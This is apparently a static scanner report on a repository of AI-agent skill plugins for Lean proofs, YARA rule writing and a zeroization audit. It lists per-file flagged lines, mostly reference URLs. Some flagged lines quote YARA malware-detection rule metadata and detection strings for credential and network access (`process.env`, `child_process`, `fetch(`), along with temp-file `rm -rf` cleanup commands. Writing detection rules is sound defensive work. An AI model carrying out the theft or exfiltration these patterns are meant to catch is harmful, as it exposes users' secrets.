(`add_le_add_left`, `mul_pos`, `isOpen_iUnion`) instead of searching, and lets you name your own lemmas so others can guess them. Source: the official [naming guide](https://leanprover-community.github.io/contribute/naming.html). - Network accessline 7
[naming guide](https://leanprover-community.github.io/contribute/naming.html).
plugins/writing-lean-proofs/skills/writing-lean-proofs/references/proof-style.md
plugins/writing-lean-proofs/skills/writing-lean-proofs/references/tactics.md
- Network accessline 222
- Yaël Dillies and Paul Lezeau, [Fantastic Simprocs and How to Write Them](https://leanprover-community.github.io/blog/posts/simprocs-tutorial/) - Network accessline 223
[Fantastic Simprocs and How to Write Them](https://leanprover-community.github.io/blog/posts/simprocs-tutorial/) - Network accessline 224
- Yaël Dillies and Paul Lezeau, [Simp, made simple](https://leanprover-community.github.io/blog/posts/simp-made-simple/) - Mathlib community, - Network accessline 225
[Simp, made simple](https://leanprover-community.github.io/blog/posts/simp-made-simple/) - Network accessline 226
- Mathlib community, [Metaprogramming gotchas](https://github.com/leanprover-community/mathlib4/wiki/Metaprogramming-gotchas) - Lean community, - Network accessline 227
[Metaprogramming gotchas](https://github.com/leanprover-community/mathlib4/wiki/Metaprogramming-gotchas) - Network accessline 228
- Lean community, [Metaprogramming in Lean 4: `MetaM`](https://leanprover-community.github.io/lean4-metaprogramming-book/main/04_metam.html) and [Tactics](https://leanprover-community.github.io/lean4-metaprogramming-book/main/09_tactics - Network accessline 229
[Metaprogramming in Lean 4: `MetaM`](https://leanprover-community.github.io/lean4-metaprogramming-book/main/04_metam.html) - Network accessline 230
and [Tactics](https://leanprover-community.github.io/lean4-metaprogramming-book/main/09_tactics.html) - Network accessline 232
[trace messages and trace-class design](https://leanprover-community.github.io/mathlib4_docs/Lean/Util/Trace.html) - Network accessline 236
- Kyle Miller on [`withoutRecover` for generated `evalTactic` code](https://leanprover-community.github.io/archive/stream/217875-Is-there-code-for-X%3F/topic/pretty.20print.20of.20Nat.html) - Network accessline 237
[`withoutRecover` for generated `evalTactic` code](https://leanprover-community.github.io/archive/stream/217875-Is-there-code-for-X%3F/topic/pretty.20print.20of.20Nat.html) - Network accessline 238
- Eric Wieser and Kyle Miller on [broad exception handling in tactics](https://leanprover-community.github.io/archive/stream/287929-mathlib4/topic/bug.20in.20convert.html) - Jannis Limperg and Sebastian Ullrich on - Network accessline 239
[broad exception handling in tactics](https://leanprover-community.github.io/archive/stream/287929-mathlib4/topic/bug.20in.20convert.html) - Network accessline 240
- Jannis Limperg and Sebastian Ullrich on [diagnosing unbounded Aesop goal growth](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/aesop.20gets.20stuck.html) - Jannis Limperg on - Network accessline 241
[diagnosing unbounded Aesop goal growth](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/aesop.20gets.20stuck.html) - Network accessline 243
[Aesop's safe-rule and debugging semantics](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/Aesop.20dev.20updates.html) - Network accessline 247
- Jannis Limperg and Asta Halkjær From, [Aesop: White-Box Best-First Proof Search for Lean](https://people.compute.dtu.dk/ahfrom/aesop-camera-ready.pdf) - Network accessline 248
[Aesop: White-Box Best-First Proof Search for Lean](https://people.compute.dtu.dk/ahfrom/aesop-camera-ready.pdf) - Network accessline 249
- Jannis Limperg, [Tactic Script Optimisation for Aesop](https://doi.org/10.1145/3703595.3705877) - Sebastian Ullrich and Leonardo de Moura, - Network accessline 250
[Tactic Script Optimisation for Aesop](https://doi.org/10.1145/3703595.3705877) - Network accessline 251
- Sebastian Ullrich and Leonardo de Moura, [Beyond Notations: Hygienic Macro Expansion for Theorem Proving Languages](https://arxiv.org/abs/2001.10490) - Gabriel Ebner, Sebastian Ullrich, Jared Roesch, Jeremy Avigad, and Leonardo de Moura - Network accessline 252
[Beyond Notations: Hygienic Macro Expansion for Theorem Proving Languages](https://arxiv.org/abs/2001.10490) - Network accessline 254
[A Metaprogramming Framework for Formal Verification](https://lean-lang.org/papers/tactic.pdf)
plugins/yara-authoring/skills/yara-rule-authoring/SKILL.md
- Access to secretsline 78
[Credential-related source omitted] - Network accessline 346
description = "Detects Example malware via unique mutex and C2 path" author = "Your Name <email@example.com>" reference = "https://example.com/analysis" - Network accessline 347
author = "Your Name <email@example.com>" reference = "https://example.com/analysis" date = "2025-01-29" - Network accessline 348
reference = "https://example.com/analysis" - Network accessline 447
**Rule repositories to learn from:** [Neo23x0/signature-base](https://github.com/Neo23x0/signature-base) (17,000+ production rules), [elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) (endpoint-tested), [imp0r - Network accessline 449
**Guides:** [YARA Style Guide](https://github.com/Neo23x0/YARA-Style-Guide) and [YARA Performance Guidelines](https://github.com/Neo23x0/YARA-Performance-Guidelines) (Neo23x0), [YARA-X documentation](https://virustotal.github.io/yara-x/). - Network accessline 451
**macOS specifics:** Apple's own production rules ship at `/System/Library/CoreServices/XProtect.bundle/`; [objective-see](https://objective-see.org/) publishes macOS malware research and samples.
plugins/yara-authoring/skills/yara-rule-authoring/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_Mac_ProtonRAT_Jan25.yar
- Network accessline 10
Original source: https://github.com/airbnb/binaryalert - Network accessline 11
Attribution: @mimeframe / Airbnb Security Reference: https://objective-see.org/blog/blog_0x1D.html */ - Network accessline 12
Reference: https://objective-see.org/blog/blog_0x1D.html - Network accessline 17
description = "Detects all Mach-O binary formats including 32-bit, 64-bit, and universal binaries" author = "Airbnb BinaryAlert" reference = "https://github.com/airbnb/binaryalert" - Network accessline 18
author = "Airbnb BinaryAlert" reference = "https://github.com/airbnb/binaryalert" date = "2017-01-01" - Network accessline 19
reference = "https://github.com/airbnb/binaryalert" - Network accessline 33
description = "Detects macOS Proton RAT via WebSocket library and SSH tunnel strings" author = "@mimeframe (Airbnb Security, adapted)" reference = "https://objective-see.org/blog/blog_0x1D.html" - Network accessline 34
author = "@mimeframe (Airbnb Security, adapted)" reference = "https://objective-see.org/blog/blog_0x1D.html" date = "2017-05-04" - Network accessline 35
reference = "https://objective-see.org/blog/blog_0x1D.html" - Network accessline 67
description = "Detects macOS Proton RAT keylogger functionality via CoreGraphics event tap APIs" author = "Trail of Bits (based on Objective-See research)" reference = "https://objective-see.org/blog/blog_0x1D.html" - Network accessline 68
author = "Trail of Bits (based on Objective-See research)" reference = "https://objective-see.org/blog/blog_0x1D.html" date = "2025-01-30" - Network accessline 69
reference = "https://objective-see.org/blog/blog_0x1D.html" - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted]
plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_NPM_SupplyChain_Jan25.yar
- Network accessline 20
description = "Detects malicious wallet-drainer code from chalk/debug npm supply-chain compromise" author = "Stairwell Threat Research (adapted)" reference = "https://stairwell.com/resources/how-to-detect-npm-package-manager- - Network accessline 21
author = "Stairwell Threat Research (adapted)" reference = "https://stairwell.com/resources/how-to-detect-npm-package-manager-supply-chain-attacks-with-yara/" date = "2025-09-11" - Network accessline 22
reference = "https://stairwell.com/resources/how-to-detect-npm-package-manager-supply-chain-attacks-with-yara/" - Network accessline 43
description = "Detects malicious npm packages targeting ERC-20 token operations" author = "Trail of Bits (based on Stairwell research)" reference = "https://github.com/chalk/chalk/issues/656" - Network accessline 44
author = "Trail of Bits (based on Stairwell research)" reference = "https://github.com/chalk/chalk/issues/656" date = "2025-01-30" - Network accessline 45
reference = "https://github.com/chalk/chalk/issues/656" - Network accessline 71
description = "Detects hidden code using zero-width Unicode characters (os-info-checker-es6 technique)" author = "Trail of Bits (based on Veracode research)" reference = "https://www.veracode.com/blog/security-news/npm-packag - Network accessline 72
author = "Trail of Bits (based on Veracode research)" reference = "https://www.veracode.com/blog/security-news/npm-package-uses-unicode-invisible-characters-hide-backdoor-code" date = "2025-01-30" - Network accessline 73
reference = "https://www.veracode.com/blog/security-news/npm-package-uses-unicode-invisible-characters-hide-backdoor-code" - Network accessline 97
description = "Detects patterns similar to event-stream/flatmap-stream backdoor" author = "Trail of Bits (based on npm security advisory)" reference = "https://github.com/dominictarr/event-stream/issues/116" - Network accessline 98
author = "Trail of Bits (based on npm security advisory)" reference = "https://github.com/dominictarr/event-stream/issues/116" date = "2025-01-30" - Network accessline 99
reference = "https://github.com/dominictarr/event-stream/issues/116" - Network accessline 129
description = "Detects suspicious npm packages with postinstall hooks accessing credentials and network" author = "Trail of Bits" reference = "https://blog.phylum.io/npm-supply-chain-attack-patterns/" - Network accessline 130
author = "Trail of Bits" reference = "https://blog.phylum.io/npm-supply-chain-attack-patterns/" date = "2025-01-30" - Network accessline 131
reference = "https://blog.phylum.io/npm-supply-chain-attack-patterns/" - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted]
plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_Win_Remcos_Jan25.yar
- Network accessline 11
Original source: https://github.com/elastic/protections-artifacts - Network accessline 18
description = "Detects Remcos RAT via unique watchdog mutex name and restart status strings" author = "Elastic Security (adapted)" reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set" - Network accessline 19
author = "Elastic Security (adapted)" reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set" date = "2021-06-10" - Network accessline 20
reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set" - Network accessline 45
description = "Detects Remcos RAT via unique feature directory names and configuration file artifacts" author = "Elastic Security (adapted)" reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-se - Network accessline 46
author = "Elastic Security (adapted)" reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set" date = "2023-06-23" - Network accessline 47
reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set" - Network accessline 73
description = "Detects Remcos RAT agent initialization messages and credential theft status strings" author = "Elastic Security (adapted)" reference = "https://github.com/elastic/protections-artifacts" - Network accessline 74
author = "Elastic Security (adapted)" reference = "https://github.com/elastic/protections-artifacts" date = "2025-01-30" - Network accessline 75
reference = "https://github.com/elastic/protections-artifacts" - Access to secretsline 91
[Credential-related source omitted]
plugins/yara-authoring/skills/yara-rule-authoring/examples/SUSP_CRX_SuspiciousPermissions.yar
- Network accessline 22
description = "Detects Chrome extensions with dangerous permission combinations that enable data exfiltration" author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://developer.chrome.com/docs/extensio - Network accessline 23
author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://developer.chrome.com/docs/extensions/reference/permissions-list" date = "2025-01-29" - Network accessline 24
reference = "https://developer.chrome.com/docs/extensions/reference/permissions-list" - Network accessline 42
perm == "<all_urls>" or perm == "*://*/*" or perm == "http://*/*" or - Network accessline 43
perm == "*://*/*" or perm == "http://*/*" or perm == "https://*/*" - Network accessline 44
perm == "http://*/*" or - Network accessline 45
perm == "https://*/*" - Network accessline 52
description = "Detects Chrome extensions requesting debugger permission - can modify any page and intercept traffic" author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://developer.chrome.com/docs/ex - Network accessline 53
author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://developer.chrome.com/docs/extensions/reference/api/debugger" date = "2025-01-29" - Network accessline 54
reference = "https://developer.chrome.com/docs/extensions/reference/api/debugger" - Network accessline 74
description = "Detects Chrome extensions with permissions enabling credential/data theft" author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://example.com/crx-threat-research" - Network accessline 75
author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://example.com/crx-threat-research" date = "2025-01-29" - Network accessline 76
reference = "https://example.com/crx-threat-research" - Network accessline 114
description = "Detects extensions matching known malicious permission profile hash cluster" author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://example.com/crx-permhash-research" - Network accessline 115
author = "YARA Skill Example <yara-authoring@example.com>" reference = "https://example.com/crx-permhash-research" date = "2025-01-29" - Network accessline 116
reference = "https://example.com/crx-permhash-research"
plugins/yara-authoring/skills/yara-rule-authoring/examples/SUSP_JS_Obfuscation_Jan25.yar
- Network accessline 20
description = "Detects JavaScript obfuscated by obfuscator.io (common in malware)" author = "@imp0rtp3 (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 21
author = "@imp0rtp3 (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" date = "2021-01-01" - Network accessline 22
reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 62
description = "Detects SocGholish fake update JavaScript dropper via ActiveX and bracket notation patterns" author = "Nils Kuhnert (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 63
author = "Nils Kuhnert (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" date = "2021-03-29" - Network accessline 64
reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 104
description = "Detects JavaScript injection patterns that load external scripts" author = "Josh Trombley (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 105
author = "Josh Trombley (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" date = "2021-09-02" - Network accessline 106
reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 131
description = "Detects JavaScript with base64-encoded payloads commonly used in injection attacks" author = "Josh Trombley (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 132
author = "Josh Trombley (adapted)" reference = "https://github.com/imp0rtp3/js-yara-rules" date = "2021-09-02" - Network accessline 133
reference = "https://github.com/imp0rtp3/js-yara-rules" - Network accessline 155
description = "Detects eval + decode chains commonly used in JavaScript malware" author = "Trail of Bits" reference = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/" - Network accessline 156
author = "Trail of Bits" reference = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/" date = "2025-01-30" - Network accessline 157
reference = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/"
plugins/yara-authoring/skills/yara-rule-authoring/references/strings.md
- Network accessline 166
$bad = "child_process" $bad = "process.env" $bad = "fetch(" - Network accessline 167
$bad = "process.env" $bad = "fetch(" $bad = "axios" - Network accessline 168
$bad = "fetch(" - Possible obfuscationline 336
// Matches: var _0x1234 = ["\x48\x65\x6c\x6c\x6f", ...] - Network accessline 399
// REJECT without additional context $bad = "fetch(" // Every web app - Network accessline 400
$bad = "fetch(" // Every web app - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 426
[Credential-related source omitted]
plugins/yara-authoring/skills/yara-rule-authoring/references/style-guide.md
- Network accessline 91
description = "Detects X malware via Y unique feature" author = "Your Name <email@example.com>" // OR "@twitter_handle" reference = "https://analysis-report-url.com" - Network accessline 92
author = "Your Name <email@example.com>" // OR "@twitter_handle" reference = "https://analysis-report-url.com" date = "2025-01-29" - Network accessline 93
reference = "https://analysis-report-url.com"
plugins/yara-authoring/skills/yara-rule-authoring/references/testing.md
- Network accessline 119
1. Upload your rule to [VirusTotal Intelligence](https://www.virustotal.com/gui/hunting) - Network accessline 156
[YARA-CI](https://yara-ci.cloud.virustotal.com/) provides cloud-based validation: - Network accessline 169
| Tool | Purpose | Access | |------|---------|--------| | **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) | - Network accessline 170
|------|---------|--------| | **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) | | **YaraDbg** | Web-based rule debugger with step-thr - Network accessline 171
| **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) | - Network accessline 172
| **YaraDbg** | Web-based rule debugger with step-through execution | Free, [yaradbg.dev](https://yaradbg.dev) | - Network accessline 225
The [NIST National Software Reference Library](https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl) provides hash sets of known-good files: - Network accessline 232
# Download RDS (Reference Data Set) # Available at: https://www.nist.gov/itl/ssd/software-quality-group/nsrl-download-links - Network accessline 233
# Available at: https://www.nist.gov/itl/ssd/software-quality-group/nsrl-download-links - Network accessline 347
| Top 1000 npm packages | `npm search --searchlimit=1000` | Avoid FPs on popular dependencies | | Packages with postinstall scripts | Filter for `scripts.postinstall` in package.json | Common attack vector | | Known malicious packages | [np - Network accessline 348
| Packages with postinstall scripts | Filter for `scripts.postinstall` in package.json | Common attack vector | | Known malicious packages | [npm-shai-hulud-scanner](https://github.com/nickytonline/npm-shai-hulud-scanner) list | Positive va - Network accessline 349
| Known malicious packages | [npm-shai-hulud-scanner](https://github.com/nickytonline/npm-shai-hulud-scanner) list | Positive validation |
plugins/yara-authoring/skills/yara-rule-authoring/scripts/atom_analyzer.py
plugins/yara-authoring/skills/yara-rule-authoring/scripts/review.sh
plugins/yara-authoring/skills/yara-rule-authoring/scripts/test_yara_rules.py
- Executable scriptline 1
Executable file - Network accessline 80
description = "Detects a thing via a marker long enough to clear sixty characters easily" author = "a@b.c" reference = "https://example.com" - Network accessline 81
author = "a@b.c" reference = "https://example.com" date = "2025-01-01" - Network accessline 82
reference = "https://example.com" - Network accessline 248
description = "Detects a thing via a marker long enough to clear sixty characters easily" author = "a@b.c" reference = "https://example.com" - Network accessline 249
author = "a@b.c" reference = "https://example.com" date = "2025-01-01" - Network accessline 250
reference = "https://example.com" - Possible obfuscationline 276
assert runs[0].data == b"\x4d\x5a\x90\x00" - Possible obfuscationline 304
assert runs[0].data == b"\x4d\x5a\x90\x00" - Possible obfuscationline 308
_, null_score = find_best_atom(b"\x00\x00\x00\x00", []) - Possible obfuscationline 309
_, unique_score = find_best_atom(b"\x4d\x5a\x91\x03", []) - Network accessline 407
description = "Detects %s" author = "a@b.c" reference = "https://example.com" - Network accessline 408
author = "a@b.c" reference = "https://example.com" date = "2025-01-01" - Network accessline 409
reference = "https://example.com" - Network accessline 452
description = "Detects a thing via a marker long enough to clear sixty characters easily" author = "a@b.c" reference = "https://example.com" - Network accessline 453
author = "a@b.c" reference = "https://example.com" date = "2025-01-01" - Network accessline 454
reference = "https://example.com" - Possible obfuscationline 479
assert score_atom(b"\x01\x02\x00\x03") < score_atom(b"\x01\x02\x04\x03") - Possible obfuscationline 492
assert score_atom(b"abcd") < score_atom(b"\x01\x02\x03\x04")
plugins/yara-authoring/skills/yara-rule-authoring/scripts/uv.lock
- Network accessline 6
name = "yara-x" version = "1.22.0" source = { registry = "https://pypi.org/simple" } - Network accessline 7
version = "1.22.0" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 8
source = { registry = "https://pypi.org/simple" } - Network accessline 9
wheels = [ { url = "https://files.pythonhosted.org/packages/0f/bb/22b5cb8b57d60a258196ff46392be59f9261c7dd33a237960059de5c9d55/yara_x-1.22.0-cp39-abi3-macosx_14_0_arm64.whl", hash = "sha256:eb6d4812e73614643f3c10a2592692b544ca7db43eacb2 - Network accessline 10
{ url = "https://files.pythonhosted.org/packages/0f/bb/22b5cb8b57d60a258196ff46392be59f9261c7dd33a237960059de5c9d55/yara_x-1.22.0-cp39-abi3-macosx_14_0_arm64.whl", hash = "sha256:eb6d4812e73614643f3c10a2592692b544ca7db43eacb2c8c649a1c965838 - Network accessline 11
{ url = "https://files.pythonhosted.org/packages/69/19/0365004e652a44dfccaa2fc73916b6c8e5ac0e64bbae1c0dfc301c5bdd63/yara_x-1.22.0-cp39-abi3-macosx_14_0_x86_64.whl", hash = "sha256:1472591e7ec4a07be0e63383235fc2e8908b6d7d510b98d210068ffde30b - Network accessline 12
{ url = "https://files.pythonhosted.org/packages/bb/71/bfc58b9d8afbc2e25a1fd0ce72a69c48fc9cb554238cde33c89787d84ff2/yara_x-1.22.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:066e86533b7143ee96bb80e36b683eb25dad8bc4c064603802d3a8cb - Network accessline 13
{ url = "https://files.pythonhosted.org/packages/3b/ee/f8beabcc6ca804749c5dd91b943a81d75314ebb12ef471ad3eff7631c5f6/yara_x-1.22.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a9a9a4b213b980d6b05231ea5b835c03d40e304d99ed05d18ac5e7a80 - Network accessline 14
{ url = "https://files.pythonhosted.org/packages/e8/3e/53b5ba3fd391e2977204d00a95f5696f32815be6495fb64283f5f0d741c4/yara_x-1.22.0-cp39-abi3-win_amd64.whl", hash = "sha256:a0e889ad5377634d1ce759c8823fe1784519733de44da683da02eb0a8771b1a9", si - Network accessline 15
{ url = "https://files.pythonhosted.org/packages/b2/5c/164081becb6210f68fed75da9c5777afbb34b0252ae2bfdfa5a6ee55fd6f/yara_x-1.22.0-pp311-pypy311_pp80-macosx_14_0_arm64.whl", hash = "sha256:d2b6ec0dee512c1b035b8b9ddd6b0fe5c78c9ec22e2ee237926e - Network accessline 16
{ url = "https://files.pythonhosted.org/packages/a8/5c/495d56a680de7618b8426b3c1732a41695febebb27d40be97823027a4cd7/yara_x-1.22.0-pp311-pypy311_pp80-macosx_14_0_x86_64.whl", hash = "sha256:89057972c4fec99e42761d264a74d84caaebe0dab99ec49dfe8 - Network accessline 17
{ url = "https://files.pythonhosted.org/packages/d1/69/f18603efe4d75fa728182100db46a80feb507708893389819b83e1a26f6b/yara_x-1.22.0-pp311-pypy311_pp80-manylinux_2_28_aarch64.whl", hash = "sha256:f34301eaedfa467ab87da8d121916a666caa1c8f2a1d6fa - Network accessline 18
{ url = "https://files.pythonhosted.org/packages/26/d4/64132100947fc2d0fd1dbb631e08118667eab88a21017aac3f18bd92ca7f/yara_x-1.22.0-pp311-pypy311_pp80-manylinux_2_28_x86_64.whl", hash = "sha256:27ca2eba9b5922b6b0abf372b8ed0d06621b7df6c738b80b - Network accessline 19
{ url = "https://files.pythonhosted.org/packages/26/6a/8382111661394ace7692bac28ddb1f429f5fcebfc8789d02fa2d966091f3/yara_x-1.22.0-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:96fb99c4581eaf452bc0d38294b443946b833798e2fa126053d6cfd28786
plugins/yara-authoring/skills/yara-rule-authoring/scripts/yara_lint.py
- Executable scriptline 1
Executable file
plugins/yara-authoring/skills/yara-rule-authoring/scripts/yara_rules.py
- Executable scriptline 1
Executable file - Possible obfuscationline 634
(b"\x00\x00\x00\x00", "null bytes (0x00000000)"), - Possible obfuscationline 635
(b"\x90\x90\x90\x90", "NOP sled (0x90909090)"), - Possible obfuscationline 636
(b"\xcc\xcc\xcc\xcc", "INT3 padding (0xCCCCCCCC)"), - Possible obfuscationline 637
(b"\xff\xff\xff\xff", "all 0xFF bytes"), - Possible obfuscationline 638
(b"\x20\x20\x20\x20", "spaces (0x20202020)"),
plugins/yara-authoring/skills/yara-rule-authoring/workflows/rule-development.md
- Network accessline 345
1. Upload rule to [VT Intelligence](https://www.virustotal.com/gui/hunting) - Network accessline 398
- Based on samples from Jan 2025 campaign - Tested against VT goodware (0 matches) - Reference: https://example.com/analysis" - Network accessline 400
- Reference: https://example.com/analysis"
plugins/zeroize-audit/.claude-plugin/plugin.json
plugins/zeroize-audit/agents/3-tu-compiler-analyzer.md
plugins/zeroize-audit/agents/5-poc-generator.md
plugins/zeroize-audit/agents/5c-poc-verifier.md
- Access to secretsline 161
[Credential-related source omitted]
plugins/zeroize-audit/skills/zeroize-audit/SKILL.md
- Broad permissionsline 1
Read Grep Glob Bash Write Task AskUserQuestion mcp__serena__activate_project mcp__serena__find_symbol mcp__serena__find_referencing_symbols mcp__serena__get_symbols_overview
plugins/zeroize-audit/skills/zeroize-audit/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/zeroize-audit/skills/zeroize-audit/prompts/report_template.md
plugins/zeroize-audit/skills/zeroize-audit/references/compile-commands.md
- Dangerous shell operationline 143
rm -rf /tmp/zeroize-audit/<tu_hash>.*
plugins/zeroize-audit/skills/zeroize-audit/references/ir-analysis.md
- Dangerous shell operationline 49
rm -f /tmp/zeroize-audit/<tu_hash>.*.ll - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted]
plugins/zeroize-audit/skills/zeroize-audit/references/mcp-analysis.md
- Network accessline 26
**Prerequisites:** - `uvx` must be on PATH (installed with `uv` — see https://docs.astral.sh/uv/) - Network accessline 27
- `uvx` must be on PATH (installed with `uv` — see https://docs.astral.sh/uv/) - Network accessline 28
- Serena is fetched and run automatically via `uvx --from git+https://github.com/oraios/serena`
plugins/zeroize-audit/skills/zeroize-audit/schemas/input.json
plugins/zeroize-audit/skills/zeroize-audit/schemas/output.json
plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_asm.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_cfg.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_heap.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_ir_semantic.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/diff_ir.sh
plugins/zeroize-audit/skills/zeroize-audit/tools/diff_rust_mir.sh
plugins/zeroize-audit/skills/zeroize-audit/tools/emit_asm.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/emit_ir.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_asm.sh
plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_ir.sh
plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_mir.sh
plugins/zeroize-audit/skills/zeroize-audit/tools/extract_compile_flags.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/generate_poc.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/check_mcp.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_mir_patterns.py
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py
plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/semantic_audit.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/zeroize-audit/skills/zeroize-audit/tools/track_dataflow.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/zeroize-audit/skills/zeroize-audit/tools/validate_rust_toolchain.sh
plugins/zeroize-audit/skills/zeroize-audit/workflows/phase-5-poc-validation.md
- Access to secretsline 85
[Credential-related source omitted]
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 2 facts
- Contacts claude.ai, which SKILL.md, the README and the plugin manifest do not mentiondevcontainer-setup/resources/Dockerfile:76High confidence
- Contacts fnm.vercel.app, which SKILL.md, the README and the plugin manifest do not mentiondevcontainer-setup/resources/Dockerfile:93High confidence
Signal confidence: 498 facts
- Broad permissions in the frontmatter of the SKILL.mdagentic-actions-auditor/SKILL.md:1High confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:58Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:59Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:60Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:61Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:64Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:314Low confidence
- Network access in prose of the SKILL.mdagentic-actions-auditor/SKILL.md:315Low confidence
- Dangerous shell operation in prose of documentationagentic-actions-auditor/references/action-profiles.md:56Low confidence
- Dangerous shell operation in prose of documentationagentic-actions-auditor/references/action-profiles.md:67Low confidence
